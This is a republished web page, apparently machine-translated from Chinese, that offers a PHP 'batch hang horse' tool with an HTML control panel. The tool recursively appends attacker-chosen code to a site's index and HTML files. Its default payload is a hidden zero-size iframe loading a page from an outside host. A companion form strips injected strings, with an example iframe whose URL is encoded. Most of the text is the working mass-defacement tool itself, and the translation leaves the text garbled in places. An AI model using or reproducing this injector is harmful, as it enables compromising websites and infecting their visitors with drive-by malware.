PHP under batch hang horse and batch clear horse code

  • 2020-03-31 21:36:02
  • OfStack


<?php 
function gmfun($path= " . " ) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v ==  " . "  || $v ==  " .. " ) continue; 
$file = $d->path. " / " .$v; 
if(@is_dir($file)) { 
gmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = @fopen ( " $file " ,  " a " ); 
@fwrite($handle,  " $mm " ); 
@fclose($handle); 
echo  "The horse file has been hung :$filen<br> " ; 

} 
} 
} 
$d->close(); 
echo  "   " ; 
} 
function qmfun($path= " . " ) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v ==  " . "  || $v ==  " .. " ) continue; 
$file = $d->path. " / " .$v; 
if(@is_dir($file)) { 
qmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = fopen ( " $file " ,  " rb " ); 
$oldcontent=fread($handle,filesize($file)); 
fclose($handle); 
$newcontent=str_replace($mm, "" ,$oldcontent); 
$fw = fopen ( " $file " ,  " wb " ); 
fwrite($fw,$newcontent,strlen($newcontent)); 
fclose($fw); 
echo  "The horse papers have been cleared :$filen<br> " ; 

} 
} 
} 
$d->close(); 
echo  "   " ; 
} 

if ($_GET['action']=='gm') { 
set_time_limit(0); 
gmfun($_POST["dir"]); 
} 
if ($_GET['action']=='qm') { 
set_time_limit(0); 
qmfun($_POST["dir"]); 
} 
?> 
<title> Bulk hang a horse ( Qing ma ) The program php version </title><body> 
<form action= " <?$PHP_SELF?>?action=gm "  method= " post " > 
<table border= " 0 "  align= " center "  cellpadding= " 0 "  cellspacing= " 0 " > 
<tr> 
<td height= " 25 "  colspan= " 2 "  bgcolor= " 006699 " > <div align= " center " ><font color= " #00FF00 "  size= " 4 " > Website batch hang horse program php version  
BY n3tl04d</font></div> 
<td> </tr> 
<tr> 
<td height= " 27 "  bgcolor= " #CCCCCC " > The path :</td> 
<td height= " 27 "  bgcolor= " #CCCCCC " > <input name= " dir "  type= " text "  value= " . " >( You can fill in relative paths ) 
<td> </tr> 
<tr> 
<td height= " 27 "  bgcolor= " #CCCCCC " > Hang horse keyword :</td> 
<td height= " 27 "  bgcolor= " #CCCCCC " > <input name= " key "  type= " text "  value='index.|default.|main.|.html'> -- the regular expression matching --  
<td colspan= " 2 "  height= " 1 " ></td> 
<td> </tr> 
<tr> 
<td height= " 25 "  bgcolor= " #CCCCCC " > Want to write the hang horse code :</td> 
<td height= " 25 "  bgcolor= " #CCCCCC " ><input name= " mm "  type= " text "  size= " 50 "  value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>'> 
<td> </tr> 
<tr> 
<td height= " 25 "  colspan= " 2 "  bgcolor= " 006699 " > <div align= " center " > 
<input type= " submit "  name= " Submit "  value= "Submit" > 
   
<input type= " reset "  name= " Submit2 "  value= "Reset" > 
</div></td> 
<td> </tr> 
</table> 
</form> 
<form action= " <?$PHP_SELF?>?action=qm "  method= " post " > 
<table border= " 0 "  align= " center "  cellpadding= " 0 "  cellspacing= " 0 " > 
<tr> 
<td height= " 25 "  colspan= " 2 "  bgcolor= " 006699 " > <div align= " center " ><font color= " #00FF00 "  size= " 4 " > Batch cleaning tools php version  
BY  With the (LST)</font></div> 
<td> </tr> 
<tr> 
<td height= " 27 "  bgcolor= " #CCCCCC " > The path :</td> 
<td height= " 27 "  bgcolor= " #CCCCCC " > <input name= " dir "  type= " text "  value= " . " >( You can fill in relative paths ) 
<td> </tr> 
<tr> 
<td height= " 27 "  bgcolor= " #CCCCCC " > Clear horse keyword :</td> 
<td height= " 27 "  bgcolor= " #CCCCCC " > <input name= " key "  type= " text "  value='index.|default.|main.|.html'> -- the regular expression matching --  
<td colspan= " 2 "  height= " 1 " ></td> 
<td> </tr> 
<tr> 
<td height= " 25 "  bgcolor= " #CCCCCC " > Want to clear the hanging horse code :</td> 
<td height= " 25 "  bgcolor= " #CCCCCC " ><input name= " mm "  type= " text "  size= " 50 "  value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>'> 
<td> </tr> 
<tr> 
<td height= " 25 "  colspan= " 2 "  bgcolor= " 006699 " > <div align= " center " > 
<input type= " submit "  name= " Submit "  value= "Submit" > 
   
<input type= " reset "  name= " Submit2 "  value= "Reset" > 
</div></td> 
<td> </tr> 
</table> 
</form> 

Related articles: